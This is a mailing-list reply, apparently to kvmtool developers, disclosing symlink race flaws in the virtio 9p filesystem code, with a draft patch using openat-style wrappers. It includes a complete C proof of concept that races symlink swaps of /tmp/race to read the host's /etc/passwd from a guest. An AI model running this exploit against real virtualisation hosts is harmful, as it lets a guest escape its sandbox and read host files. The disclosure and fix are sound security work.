Hi,
Avoiding race conditions and symlink attacks is a difficult task (the
attachment is a PoC which reads /etc/passwd in the host filesystem).
Unfortunately, I don't see any immediate solution.
I think that good practice would be to chroot to p9dev->root_dir, but it
requires root privileges (or user namespaces, but CLONE_NEWUSER isn't
available or enabled on every distros). Additionally, current directory
and root directory are shared amongst pthreads, so it doesn't fit in the
current thread model.
Although requiring a lot of work, it's the safest solution IMHO.
I tried to make a draft patch based on "at" functions (openat, unlinkat,
etc.) against a few filesystem operations (open, mkdir, and remove). I
believe it's secure, but it introduces a lot of overhead. A more elegant
solution might exist, but I didn't find it...
Cheers
On 04/09/2016 04:53 PM, André Przywara wrote:
> I quickly checked the code you mentioned and your reasoning seems valid.
> Since you seem to have experience in those things, do you care to make
> patches for fixing it?
> Is there any good practices for constructing file names while making
> sure they stay within a certain hierarchy? Is realpath() a safe way?
>
> I started fixing every occurrence of strcpy, strcat, sprintf and scanf
> and will send the fixes ASAP, but would love to see some suggestion on
> how to address the file name construction issues you mentioned.
>
> Cheers,
> Andre.
#include <err.h>
#include <time.h>
#include <fcntl.h>
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/prctl.h>
#define TMP "/tmp/race"
static void parent(void)
{
char buffer[4096];
int fd, ret;
memset(buffer, 0, sizeof(buffer));
while (1) {
fd = open(TMP "/passwd", 0644);
if (fd != -1) {
ret = read(fd, buffer, sizeof(buffer)-1);
/* don't break on guest's /etc/passwd:
* root:x:0:0:root:/root:/bin/sh\n */
if (ret > 30) {
printf("[%s]\n", buffer);
break;
}
close(fd);
}
}
exit(0);
}
static void child(void)
{
if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) != 0)
err(1, "prctl");
srand(time(NULL));
while (1) {
rename(TMP, TMP "1");
symlink("../../../../../../../../../../etc/", TMP);
usleep(rand() % 10000);
unlink(TMP);
rename(TMP "1", TMP);
usleep(rand() % 10000);
}
exit(0);
}
int main(int argc, char *argv[])
{
pid_t pid;
mkdir(TMP, 0755);
pid = fork();
if (pid == -1)
err(1, "fork");
else if (pid == 0)
child();
else
parent();
return 0;
}
commit 08333a8d96f6af83be1e6f1b10b4f328ad292bf0
Author: Your Name <you@xxxxxxxxxxx>
Date: Mon Apr 11 01:50:38 2016 -0700
draft
diff --git a/virtio/9p.c b/virtio/9p.c
index 49e7c5c..0a8a371 100644
--- a/virtio/9p.c
+++ b/virtio/9p.c
@@ -222,6 +222,140 @@ static bool is_dir(struct p9_fid *fid)
return S_ISDIR(st.st_mode);
}
+struct relpath {
+ char buf[PATH_MAX];
+ char *directory;
+ char *filename;
+ int dirfd;
+};
+
+static int split_path(const char *path, struct relpath *relpath)
+{
+ size_t size;
+ char *p;
+
+ size = strlen(path);
+ if (size == 0 || size >= sizeof(relpath->buf))
+ return -1;
+
+ /* ensure path is absolute */
+ if (path[0] != '/')
+ return -1;
+
+ strncpy(relpath->buf, path, sizeof(relpath->buf));
+
+ /* remove trailing slashes */
+ p = relpath->buf + size - 1;
+ while (p > relpath->buf && *p == '/')
+ *p-- = '\x00';
+
+ /* split directory from filename */
+ relpath->filename = strrchr(relpath->buf, '/');
+ if (relpath->filename != relpath->buf)
+ relpath->directory = relpath->buf;
+ else
+ relpath->directory = (char *)"/";
+ *relpath->filename++ = '\x00';
+
+ return 0;
+}
+
+/*
+ * Ensure that dirfd is inside the root directory.
+ */
+static bool inside_root_dir(struct p9_dev *p9dev, int dirfd)
+{
+ char buf[64], resolved_path[PATH_MAX];
+ size_t size;
+ int ret;
+
+ snprintf(buf, sizeof(buf), "/proc/self/fd/%d", dirfd);
+
+ ret = readlink(buf, resolved_path, sizeof(resolved_path));
+ if (ret < 0 || ret >= (ssize_t)sizeof(resolved_path))
+ return false;
+
+ resolved_path[ret] = '\x00';
+
+ size = strlen(p9dev->root_dir);
+ if (strncmp(resolved_path, p9dev->root_dir, size))
+ return false;
+
+ if (p9dev->root_dir[size-1] != '/' && resolved_path[size] != '/')
+ return false;
+
+ return true;
+}
+
+static int open_directory(struct p9_dev *p9dev, const char *path,
+ struct relpath *relpath)
+{
+ if (split_path(path, relpath) != 0)
+ return -1;
+
+ relpath->dirfd = open(relpath->directory, O_DIRECTORY);
+ if (relpath->dirfd == -1)
+ return -1;
+
+ if (!inside_root_dir(p9dev, relpath->dirfd)) {
+ close(relpath->dirfd);
+ return -1;
+ }
+
+ return 0;
+}
+
+static int safe_open(struct p9_dev *p9dev, const char *path, int flags)
+{
+ struct relpath relpath;
+ int fd;
+
+ if (open_directory(p9dev, path, &relpath) != 0) {
+ errno = EINVAL;
+ return -1;
+ }
+
+ fd = openat(relpath.dirfd, relpath.filename, flags);
+ close(relpath.dirfd);
+
+ return fd;
+}
+
+static int safe_mkdir(struct p9_dev *p9dev, const char *path, mode_t mode)
+{
+ struct relpath relpath;
+ int ret;
+
+ if (open_directory(p9dev, path, &relpath) != 0) {
+ errno = EINVAL;
+ return -1;
+ }
+
+ ret = mkdirat(relpath.dirfd, relpath.filename, mode);
+ close(relpath.dirfd);
+
+ return ret;
+}
+
+static int safe_remove(struct p9_dev *p9dev, const char *pathname)
+{
+ struct relpath relpath;
+ int ret;
+
+ if (open_directory(p9dev, pathname, &relpath) != 0) {
+ errno = EINVAL;
+ return -1;
+ }
+
+ ret = unlinkat(relpath.dirfd, relpath.filename, 0);
+ if (ret != 0)
+ ret = unlinkat(relpath.dirfd, relpath.filename, AT_REMOVEDIR);
+
+ close(relpath.dirfd);
+
+ return ret;
+}
+
static void virtio_p9_open(struct p9_dev *p9dev,
struct p9_pdu *pdu, u32 *outlen)
{
@@ -244,8 +378,8 @@ static void virtio_p9_open(struct p9_dev *p9dev,
if (!new_fid->dir)
goto err_out;
} else {
- new_fid->fd = open(new_fid->abs_path,
- virtio_p9_openflags(flags));
+ new_fid->fd = safe_open(p9dev, new_fid->abs_path,
+ virtio_p9_openflags(flags));
if (new_fid->fd < 0)
goto err_out;
}
@@ -319,7 +453,7 @@ static void virtio_p9_mkdir(struct p9_dev *p9dev,
dfid = get_fid(p9dev, dfid_val);
sprintf(full_path, "%s/%s", dfid->abs_path, name);
- ret = mkdir(full_path, mode);
+ ret = safe_mkdir(p9dev, full_path, mode);
if (ret < 0)
goto err_out;
@@ -751,7 +885,7 @@ static void virtio_p9_remove(struct p9_dev *p9dev,
virtio_p9_pdu_readf(pdu, "d", &fid_val);
fid = get_fid(p9dev, fid_val);
- ret = remove(fid->abs_path);
+ ret = safe_remove(p9dev, fid->abs_path);
if (ret < 0)
goto err_out;
*outlen = pdu->write_offset;
@@ -1112,7 +1246,7 @@ static void virtio_p9_unlinkat(struct p9_dev *p9dev,
fid = get_fid(p9dev, fid_val);
sprintf(full_path, "%s/%s", fid->abs_path, name);
- ret = remove(full_path);
+ ret = safe_remove(p9dev, full_path);
if (ret < 0)
goto err_out;
free(name);
